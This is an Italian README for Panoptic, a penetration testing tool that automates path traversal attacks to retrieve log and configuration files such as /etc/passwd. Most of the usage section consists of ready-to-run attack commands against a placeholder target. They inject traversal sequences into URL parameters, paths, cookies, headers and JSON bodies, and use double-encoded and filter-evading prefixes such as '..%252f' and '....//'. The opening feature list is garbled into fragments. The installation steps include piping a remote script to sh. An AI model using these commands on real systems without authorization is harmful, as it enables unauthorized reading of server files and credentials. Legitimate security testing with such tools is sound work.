
Panoptic è uno strumento open source di penetration testing che automatizza il processo di ricerca e recupero di contenuti per file di log e configurazione comuni attraverso vulnerabilità di path traversal.

Panoptic è uno strumento open source per il penetration testing che automatizza la ricerca e il recupero di comuni file di log e di configurazione tramite vulnerabilità di path traversal.

--concurrency)FUZZ
in qualsiasi valore di --header o --data--base64)/etc/passwd per i file
nella home directory, mysql-bin.index per i file binlog--output-format)--resume-file)--config)0600 riservati al proprietario su
POSIX e protezione dai symlink sul componente finale dove il sistema operativo lo supporta--update)Installa Panoptic con pipx. Mette il comando panoptic
nel tuo PATH e mantiene le dipendenze di Panoptic separate dal Python
di sistema.
Su Kali, Debian o Ubuntu:
sudo apt install pipx git
pipx ensurepath
pipx install git+https://github.com/lightos/Panoptic.git
Su macOS, con Homebrew:
brew install pipx git
pipx ensurepath
pipx install git+https://github.com/lightos/Panoptic.git
Su Windows, con Python e Git installati:
py -m pip install --user pipx
py -m pipx ensurepath
py -m pipx install git+https://github.com/lightos/Panoptic.git
Poi apri un nuovo terminale e verifica che funzioni:
panoptic --version
Aggiorna con pipx upgrade panoptic. Non eseguire pip install panoptic: quel
nome su PyPI appartiene a un progetto non correlato.
Se il Python di sistema è precedente alla versione 3.11 (ad esempio su Ubuntu 22.04), usa uv invece. Scarica da solo una versione di Python adeguata:
curl -LsSf https://astral.sh/uv/install.sh | sh
source "$HOME/.local/bin/env"
uv tool install git+https://github.com/lightos/Panoptic.git
Poi apri un nuovo terminale ed esegui panoptic --version. Aggiorna con
uv tool upgrade panoptic.
Per eseguire Panoptic da un clone, ad esempio per lavorarci, installalo in un
ambiente virtuale all'interno del checkout. Su Debian e Ubuntu, questo richiede
prima sudo apt install python3-venv.
git clone https://github.com/lightos/Panoptic.git
cd Panoptic
python3 -m venv .venv
.venv/bin/python -m pip install -e ".[dev]"
.venv/bin/panoptic --version
Eseguilo come .venv/bin/panoptic, oppure esegui source .venv/bin/activate in ogni
nuovo terminale per usare direttamente panoptic e python panoptic.py. Su Windows,
usa invece .venv\Scripts\python e .venv\Scripts\panoptic. L'
installazione in modalità editable mantiene Panoptic collegato al checkout, così
panoptic --update può aggiornarlo sul posto.
panoptic --url "http://target/include.php?file=test.txt"
panoptic --url "http://target/include.php?file=test.txt"
panoptic --url "http://target/include.php?file=test.txt&id=1" \
--param file
panoptic --url "http://target/include.php" \
--data "file=test.txt&id=1" --param file
Il percorso del file sostituisce l'ultimo segmento del percorso dell'URL. Le sequenze di traversal come ../ vengono inviate esattamente come scritte. Panoptic non le normalizza, sebbene il server di destinazione possa farlo.
panoptic --url "http://target/view.php/test.txt" --path-based
panoptic --url "http://target/files/view/test.txt" --path-based \
--prefix "../" --multiplier 6
panoptic --url "http://target/load.php?file=dGVzdC50eHQ=" \
--base64 --auto
panoptic --url "http://target/page.php" \
--header "Cookie: lang=FUZZ" --auto
panoptic --url "http://target/api/load" \
--data '{"file":"FUZZ"}' --auto
panoptic --url "http://target/page.php" \
--header "X-Template: FUZZ" --auto
panoptic --url "http://target/view.php?file=test&type=txt" \
--param file --ext-param type
panoptic --url "http://target/filtered.php?file=test.txt" \
--prefix "....//....//....//....//"
I prefissi vengono inviati esattamente come forniti, quindi le sequenze di traversal codificate raggiungono
il target senza modifiche. Ad esempio, in ..%252f i punti sono letterali e
solo la barra è doppiamente codificata: la prima decodifica trasforma %252f in
%2f, quindi un filtro che decodifica una sola volta non vede alcun ../, e una seconda decodifica
da parte dell'applicazione lo trasforma in /:
panoptic --url "http://target/files/view/test.txt" --path-based \
--prefix "..%252f" --multiplier 6
Un prefisso codificato una sola volta come %2e%2e%2f diventa ../ dopo una
decodifica. È utile solo contro i filtri che ispezionano la richiesta grezza,
non decodificata:
panoptic --url "http://target/include.php?file=test.txt" \
--prefix "%2e%2e%2f" --multiplier 6
panoptic --url "http://target/include.php?file=test.txt" \
--os "*NIX" --type conf
panoptic --url "http://target/include.php?file=test.txt" \
--software PostgreSQL